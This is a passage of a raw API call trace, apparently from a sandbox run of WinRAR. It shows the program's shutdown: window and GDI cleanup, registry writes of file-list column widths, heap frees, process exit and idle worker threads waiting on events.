(in: rclsid=0x7ff6f75ef5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6f75ecc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x141a0f9938 | out: ppv=0x141a0f9938*=0x1162e88a6d0) returned 0x0 [0088.232] TaskbarList:ITaskbarList3:SetProgressState (This=0x1162e88a6d0, hwnd=0x102f8, tbpFlags=0) returned 0x0 [0088.232] TaskbarList:IUnknown:Release (This=0x1162e88a6d0) returned 0x0 [0088.232] GetPropW (hWnd=0x102f8, lpString="Done") returned 0x0 [0088.232] DeleteObject (ho=0x53007f3) returned 1 [0088.232] DeleteObject (ho=0x3007f4) returned 1 [0088.232] DeleteObject (ho=0x3007f5) returned 1 [0088.232] DeleteObject (ho=0x3007f6) returned 1 [0088.232] DeleteObject (ho=0x3007f7) returned 1 [0088.232] DeleteObject (ho=0x3007f8) returned 1 [0088.232] DeleteObject (ho=0x3007f9) returned 1 [0088.232] DeleteObject (ho=0x3007fa) returned 1 [0088.233] DeleteObject (ho=0x1007fb) returned 1 [0088.233] DeleteObject (ho=0x1007fc) returned 1 [0088.233] DeleteObject (ho=0x1007fd) returned 1 [0088.233] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0f9920 | out: lpPerformanceCount=0x141a0f9920*=17956122216) returned 1 [0088.233] ReleaseMutex (hMutex=0x1f8) returned 0 [0088.233] IsWindowVisible (hWnd=0x1023e) returned 0 [0088.233] DestroyWindow (hWnd=0x10326) returned 0 [0088.233] DestroyWindow (hWnd=0x10328) returned 0 [0088.251] FindWindowW (lpClassName="WinRarWindow", lpWindowName=0x0) returned 0x1025a [0088.251] DestroyWindow (hWnd=0x1023e) returned 1 [0088.251] NtdllDefWindowProc_W () returned 0x0 [0088.251] NtdllDefWindowProc_W () returned 0x0 [0088.259] SendMessageW (hWnd=0x102f2, Msg=0x1009, wParam=0x0, lParam=0x0) returned 0x1 [0088.264] GetWindowLongPtrW (hWnd=0x102f2, nIndex=-16) returned 0x54300249 [0088.264] SendMessageW (hWnd=0x102f2, Msg=0x101d, wParam=0x0, lParam=0x0) returned 0x78 [0088.264] GetLastError () returned 0x0 [0088.264] SetLastError (dwErrCode=0x0) [0088.264] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x141a0faec8, lpdwDisposition=0x141a0faec0 | out: phkResult=0x141a0faec8*=0x34c, lpdwDisposition=0x141a0faec0*=0x2) returned 0x0 [0088.264] RegSetValueExW (in: hKey=0x34c, lpValueName="name", Reserved=0x0, dwType=0x4, lpData=0x141a0fb368*=0x78, cbData=0x4 | out: lpData=0x141a0fb368*=0x78) returned 0x0 [0088.264] RegCloseKey (hKey=0x34c) returned 0x0 [0088.264] SendMessageW (hWnd=0x102f2, Msg=0x101d, wParam=0x1, lParam=0x0) returned 0x50 [0088.265] GetLastError () returned 0x0 [0088.265] SetLastError (dwErrCode=0x0) [0088.265] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x141a0faec8, lpdwDisposition=0x141a0faec0 | out: phkResult=0x141a0faec8*=0x34c, lpdwDisposition=0x141a0faec0*=0x2) returned 0x0 [0088.265] RegSetValueExW (in: hKey=0x34c, lpValueName="size", Reserved=0x0, dwType=0x4, lpData=0x141a0fb368*=0x50, cbData=0x4 | out: lpData=0x141a0fb368*=0x50) returned 0x0 [0088.265] RegCloseKey (hKey=0x34c) returned 0x0 [0088.265] SendMessageW (hWnd=0x102f2, Msg=0x101d, wParam=0x2, lParam=0x0) returned 0x78 [0088.265] GetLastError () returned 0x0 [0088.265] SetLastError (dwErrCode=0x0) [0088.265] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x141a0faec8, lpdwDisposition=0x141a0faec0 | out: phkResult=0x141a0faec8*=0x34c, lpdwDisposition=0x141a0faec0*=0x2) returned 0x0 [0088.265] RegSetValueExW (in: hKey=0x34c, lpValueName="type", Reserved=0x0, dwType=0x4, lpData=0x141a0fb368*=0x78, cbData=0x4 | out: lpData=0x141a0fb368*=0x78) returned 0x0 [0088.265] RegCloseKey (hKey=0x34c) returned 0x0 [0088.265] SendMessageW (hWnd=0x102f2, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x64 [0088.265] GetLastError () returned 0x0 [0088.265] SetLastError (dwErrCode=0x0) [0088.265] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x141a0faec8, lpdwDisposition=0x141a0faec0 | out: phkResult=0x141a0faec8*=0x34c, lpdwDisposition=0x141a0faec0*=0x2) returned 0x0 [0088.265] RegSetValueExW (in: hKey=0x34c, lpValueName="mtime", Reserved=0x0, dwType=0x4, lpData=0x141a0fb368*=0x64, cbData=0x4 | out: lpData=0x141a0fb368*=0x64) returned 0x0 [0088.265] RegCloseKey (hKey=0x34c) returned 0x0 [0088.265] KillTimer (hWnd=0x1023e, uIDEvent=0xa) returned 0 [0088.265] RevokeDragDrop (hwnd=0x1023e) returned 0x0 [0088.266] PostQuitMessage (nExitCode=0) [0088.276] NtdllDefWindowProc_W () returned 0x0 [0088.277] IUnknown:AddRef (This=0x7ff92fcdf3f0) returned 0x1 [0088.277] GdiplusShutdown (token=0x280000) [0088.282] OleUninitialize () [0088.459] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff6f74d0000 [0088.459] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff6f74d0000 [0088.459] FreeLibrary (hLibModule=0x7ff92e880000) returned 1 [0088.463] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e7fc7d0 | out: hHeap=0x1162e7c0000) returned 1 [0088.463] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e7e9fc0 | out: hHeap=0x1162e7c0000) returned 1 [0088.464] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e806c40 | out: hHeap=0x1162e7c0000) returned 1 [0088.464] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e815dc0 | out: hHeap=0x1162e7c0000) returned 1 [0088.464] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e808ca0 | out: hHeap=0x1162e7c0000) returned 1 [0088.464] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e819dd0 | out: hHeap=0x1162e7c0000) returned 1 [0088.464] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e81de40 | out: hHeap=0x1162e7c0000) returned 1 [0088.465] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8285a0 | out: hHeap=0x1162e7c0000) returned 1 [0088.465] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8326a0 | out: hHeap=0x1162e7c0000) returned 1 [0088.466] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e837730 | out: hHeap=0x1162e7c0000) returned 1 [0088.466] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e83c410 | out: hHeap=0x1162e7c0000) returned 1 [0088.466] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e83a360 | out: hHeap=0x1162e7c0000) returned 1 [0088.466] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e848990 | out: hHeap=0x1162e7c0000) returned 1 [0088.466] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e840420 | out: hHeap=0x1162e7c0000) returned 1 [0088.467] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e84c9a0 | out: hHeap=0x1162e7c0000) returned 1 [0088.467] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e7f92d0 | out: hHeap=0x1162e7c0000) returned 1 [0088.467] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e853a10 | out: hHeap=0x1162e7c0000) returned 1 [0088.467] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e851870 | out: hHeap=0x1162e7c0000) returned 1 [0088.467] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e857a20 | out: hHeap=0x1162e7c0000) returned 1 [0088.467] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11630190080 | out: hHeap=0x1162e7c0000) returned 1 [0088.467] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e85ba30 | out: hHeap=0x1162e7c0000) returned 1 [0088.469] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e87c750 | out: hHeap=0x1162e7c0000) returned 1 [0088.469] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e889210 | out: hHeap=0x1162e7c0000) returned 1 [0088.469] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e7ed680 | out: hHeap=0x1162e7c0000) returned 1 [0088.469] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e7decd0 | out: hHeap=0x1162e7c0000) returned 1 [0088.470] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e7d1180 | out: hHeap=0x1162e7c0000) returned 1 [0088.470] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e7e0dc0 | out: hHeap=0x1162e7c0000) returned 1 [0088.470] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x7ff92e3f0000 [0088.470] GetProcAddress (hModule=0x7ff92e3f0000, lpProcName="GetCurrentPackageId") returned 0x7ff92e3f2b30 [0088.470] GetCurrentPackageId () returned 0x3d54 [0088.470] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x141a0ffbf8 | out: phModule=0x141a0ffbf8) returned 0 [0088.470] ExitProcess (uExitCode=0x0) [0088.470] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e7ccd20 | out: hHeap=0x1162e7c0000) returned 1 Thread: id = 48 os_tid = 0xd2c Thread: id = 53 os_tid = 0xe44 Thread: id = 55 os_tid = 0x174 Thread: id = 57 os_tid = 0x9e8 Thread: id = 60 os_tid = 0x9fc Thread: id = 191 os_tid = 0x1204 [0081.092] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0081.095] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0081.095] SetEvent (hEvent=0x344) returned 1 [0081.095] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0081.096] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0081.097] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0081.098] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0081.099] SetEvent (hEvent=0x344) returned 1 [0081.114] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0081.803] SetEvent (hEvent=0x344) returned 1 [0081.803] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0081.991] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.078] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.655] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.735] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.860] SetEvent (hEvent=0x344) returned 1 [0082.860] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.962] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.082] SetEvent (hEvent=0x344) returned 1 [0083.082] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.681] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.804] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0084.001] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0084.085] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 192 os_tid = 0x1208 [0081.114] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0081.802] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0081.991] SetEvent (hEvent=0x344) returned 1 [0081.991] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.078] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.656] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.740] SetEvent (hEvent=0x344) returned 1 [0082.740] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.881] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.976] SetEvent (hEvent=0x344) returned 1 [0082.976] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.096] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.695] SetEvent (hEvent=0x344) returned 1 [0083.695] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.817] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0084.003] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0084.099] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 193 os_tid = 0x120c [0081.114] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0081.804] SetEvent (hEvent=0x344) returned 1 [0081.804] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.008] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.092] SetEvent (hEvent=0x344) returned 1 [0082.092] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.670] SetEvent (hEvent=0x344) returned 1 [0082.670] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.759] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.888] SetEvent (hEvent=0x344) returned 1 [0082.888] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.991] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.111] SetEvent (hEvent=0x344) returned 1 [0083.111] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.711] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.834] SetEvent (hEvent=0x344) returned 1 [0083.834] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0084.023] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0084.458] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 194 os_tid = 0x1210 [0081.114] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0081.804] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.008] SetEvent (hEvent=0x344) returned 1 [0082.008] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.091] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.662] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.739] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.858] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.963] SetEvent (hEvent=0x344) returned 1 [0082.963] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.081] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.666] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.803] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.988] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0084.085] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 195 os_tid = 0x1214 [0081.114] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0081.803] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0081.990] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.079] SetEvent (hEvent=0x344) returned 1 [0082.079] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.662] SetEvent (hEvent=0x344) returned 1 [0082.662] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.739] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.859] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.962] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.081] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.666] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.803] SetEvent (hEvent=0x344) returned 1 [0083.803] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.987] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0084.085] SetEvent (hEvent=0x344) returned 1 [0084.085] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 196 os_tid = 0x1218 [0081.115] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0081.803] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0081.990] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.079] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.655] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.738] SetEvent (hEvent=0x344) returned 1 [0082.738] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.859] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.962] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.082] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.681] SetEvent (hEvent=0x344) returned 1 [0083.681] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.804] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0084.002] SetEvent (hEvent=0x344) returned 1 [0084.002] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0084.085] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 197 os_tid = 0x121c [0081.115] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0081.812] SetEvent (hEvent=0x344) returned 1 [0081.812] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.009] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.092] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.670] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.757] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.884] SetEvent (hEvent=0x344) returned 1 [0082.884] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.977] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.098] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.697] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.819] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0084.018] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0084.440] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 198 os_tid = 0x1220 [0081.115] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0081.812] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.009] SetEvent (hEvent=0x344) returned 1 [0082.009] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.092] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.670] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.763] SetEvent (hEvent=0x344) returned 1 [0082.763] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.887] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.992] SetEvent (hEvent=0x344) returned 1 [0082.992] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.109] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.711] SetEvent (hEvent=0x344) returned 1 [0083.711] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.833] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0084.023] SetEvent (hEvent=0x344) returned 1 [0084.023] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0084.458] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 199 os_tid = 0x1224 [0081.115] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0081.818] SetEvent (hEvent=0x344) returned 1 [0081.818] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.009] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.093] SetEvent (hEvent=0x344) returned 1 [0082.093] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.678] SetEvent (hEvent=0x344) returned 1 [0082.678] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.766] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.903] SetEvent (hEvent=0x344) returned 1 [0082.903] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.994] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.112] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.718] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.835] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0084.022] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0084.459] SetEvent (hEvent=0x344) returned 1 [0084.459] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 200 os_tid = 0x1228 [0081.115] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0081.817] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.009] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.092] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.669] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.757] SetEvent (hEvent=0x344) returned 1 [0082.757] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.882] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.977] SetEvent (hEvent=0x344) returned 1 [0082.977] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.097] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.698] SetEvent (hEvent=0x344) returned 1 [0083.698] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.819] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0084.018] SetEvent (hEvent=0x344) returned 1 [0084.018] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0084.439] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 201 os_tid = 0x122c [0081.116] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0081.818] SetEvent (hEvent=0x344) returned 1 [0081.818] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.019] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.102] SetEvent (hEvent=0x344) returned 1 [0082.102] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.682] SetEvent (hEvent=0x344) returned 1 [0082.682] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.764] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.885] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.976] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.099] SetEvent (hEvent=0x344) returned 1 [0083.099] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.697] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.820] SetEvent (hEvent=0x344) returned 1 [0083.820] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0084.019] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0084.458] SetEvent (hEvent=0x344) returned 1 [0084.458] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 202 os_tid = 0x1230 [0081.116] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0081.818] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.020] SetEvent (hEvent=0x344) returned 1 [0082.020] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.101] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.678] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.767] SetEvent (hEvent=0x344) returned 1 [0082.767] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.903] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0082.994] SetEvent (hEvent=0x344) returned 1 [0082.994] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.111] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.718] SetEvent (hEvent=0x344) returned 1 [0083.718] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0083.835] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 